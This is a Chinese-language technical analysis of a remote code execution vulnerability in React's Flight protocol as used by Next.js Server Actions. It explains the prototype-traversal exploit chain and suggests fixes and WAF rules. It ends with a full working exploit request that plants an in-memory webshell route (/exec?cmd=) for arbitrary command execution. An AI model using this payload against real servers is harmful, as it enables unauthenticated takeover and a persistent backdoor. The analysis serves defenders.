本文深入分析了一个存在于React Flight协议中、影响Next.js Server Actions功能的远程代码执行(RCE)漏洞。该漏洞通过巧妙地组合三个独立的弱点实现了利用。
Server Actions 简介
Server Actions 是 React 18 引入、并完全集成在 Next.js 13+ App Router 中的功能。它允许你定义可以在客户端组件中直接调用的服务端函数,而无需显式创建 API 路由。
工作原理
当 Server Action 被调用时,Next.js 会发送一个带有特定请求头的 POST 请求:
POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef ← Server Action 标识符
Next-Router-State-Tree: ... ← 客户端路由状态
Next-Action 请求头告知服务器需要执行哪个已注册的函数,请求体则包含了序列化的参数。
React Flight 协议概览
Flight 协议是 React 用于在服务端与客户端之间传输组件树和数据的自定义序列化格式。
核心概念:Flight 引用类型
协议使用 $ 前缀的字符串来编码无法用普通 JSON 表示的特殊值,例如:
$F0:服务端函数引用
$Q0:Map 对象
$B0:Blob 对象
$n123:BigInt 值
$R0:ReadableStream
$@0:Promise 或 Chunk 的引用
数据块(Chunk)架构
Flight 将数据组织成离散的数据块(Chunk),它们可以相互引用。每个 Chunk 在内部表现为一个类 Promise 的对象:
// 摘自 ReactFlightReplyServer.js (第118-123行)
function Chunk(status, value, reason, response) {
this.status = status; // 'pending' | 'resolved_model' | 'fulfilled' ...
this.value = value; // 实际数据或待处理的监听器
this.reason = reason; // 错误原因或 Chunk ID
this._response = response; // 父 Response 对象
}
// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
关键漏洞点:基于路径的引用
Flight 支持使用冒号分隔的路径进行嵌套属性访问,例如 “$0:users:0:name”。解析过程如下:
// 摘自 getOutlinedModel() 函数 (第602-616行)
const path = reference.split(':'); // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16); // 0
const chunk = getChunk(response, id);
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 遍历:value["users"]["0"]["name"]
}
🔴 漏洞所在:对属性名 path[i] 缺乏任何验证,导致可以访问危险属性,如 __proto__ 和 constructor。
漏洞利用链深度解析
1. 入口点触发
在 decodeBoundActionMetaData 函数中,当调用 getRoot(actionResponse).then(() => {}) 时,会强制解析根数据块,从而启动整个利用链。
2. 路径遍历与原型链劫持
攻击载荷中设置了 "then": "$1:__proto__:then"。
当解析 $1:__proto__:then 时:
path 变为 ["1", "__proto__", "then"]
- 获取 Chunk 1(其值为
“$@0”,指向 Chunk 0)
- 通过
value = value[“__proto__”][“then”] 访问,最终窃取到 Chunk.prototype.then 函数。
这使得攻击载荷对象本身变成了一个 thenable 对象。
3. 获取 Function 构造函数
攻击载荷中 _response._formData.get 被设置为 “$1:constructor:constructor”。
解析此路径时:
- 最终访问
chunk0[“constructor”][“constructor”]
- 获得
Function 构造函数。
至此,攻击者已经将关键的 _formData.get 方法替换为可以执行任意代码的 Function 构造器。
4. 恶意代码执行
攻击载荷的 _response._prefix 包含恶意代码字符串。当协议解析器遇到类似 “$B1337” 的 Blob 引用时,会执行以下逻辑:
case 'B': { // Blob 引用
const id = parseInt(value.slice(2), 16); // 0x1337 = 4919
const prefix = response._prefix; // 恶意代码字符串
const blobKey = prefix + id; // 拼接成完整的代码字符串
const backingEntry = response._formData.get(blobKey); // 调用被替换的 Function 构造器!
return backingEntry;
}
response._formData.get(blobKey) 实际上变成了 Function(“恶意代码字符串”),该函数被创建并返回。
5. RCE 达成
这个被创建的函数,作为 then 属性值,在 Promise 解析机制中被调用:value.then(resolve, reject),从而执行了攻击者的任意代码,例如 execSync(‘say haha’)。
漏洞根本原因总结
| 位置 |
漏洞点 |
ReactFlightReplyServer.js (第614-615行) |
未过滤的路径遍历,允许访问 __proto__ 和 constructor 等危险属性 |
ReactFlightReplyServer.js (第137行) |
伪造对象因其 status 属性匹配而被当作真实的 Chunk 对象处理 |
ReactFlightReplyServer.js (第468-474行) |
未验证 chunk._response 是否为合法的 Response 对象就直接使用 |
ReactFlightReplyServer.js (第1066行) |
调用 _formData.get() 前未验证其是否为真正的 FormData 方法 |
影响与缓解建议
影响:
- 在服务器上实现完整的远程代码执行。
- 无需身份验证,任何可访问 Server Action 端点的客户端均可利用。
- 影响所有使用存在漏洞的 React Flight 协议的 Next.js 版本。
长期修复建议:
- 净化路径遍历:在解析路径时,拦截危险属性名。
const BLOCKED_PROPS = [‘__proto__’, ‘constructor’, ‘prototype’];
if (BLOCKED_PROPS.includes(path[i])) {
throw new Error(‘Invalid property access’);
}
- 验证数据块对象:确保
chunk._response 是合法的 Response 实例。
- 类型检查
_formData.get:验证该方法确实是原生的 FormData 方法。
前端开发者应立即升级 Next.js 和 React 至已修复的安全版本。同时,运维人员可以在 WAF 上设置规则,拦截请求体中包含 __proto__ 或 constructor 等可疑关键词的请求,并密切监控相关日志。
补充:真实利用载荷示例
攻击者可以构造更复杂的载荷,例如注入一个 HTTP 请求处理内存马:
POST /apps HTTP/1.1
Host: vulnerable-host.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name=“0”
{“then”:“$1:__proto__:then”,“status”:“resolved_model”,“reason”:-1,“value”:“{\”then\”:\”$B1337\”}”,“_response”:{“_prefix”:“(async()=>{const http=await import(‘node:http’);const url=await import(‘node:url’);const cp=await import(‘node:child_process’);const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event===‘request’){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname===‘/exec’){const cmd=parsedUrl.query.cmd||‘whoami’;cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{‘Content-Type’:‘application/json’});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();”,“_chunks”:“$Q2”,“_formData”:{“get”:“$1:constructor:constructor”}}}
------WebKitFormBoundary
Content-Disposition: form-data; name=“1”
“$@0”
------WebKitFormBoundary
Content-Disposition: form-data; name=“2”
[]
------WebKitFormBoundary—
此载荷会劫持 Node.js 的 HTTP 服务器原型,注入一个后门路由 /exec?cmd=,从而实现持续的远程命令执行。这凸显了此类 RCE 漏洞在安全渗透领域的极高危险性,同时提醒开发者需对类似 Node.js 运行时的服务端环境保持高度安全警觉。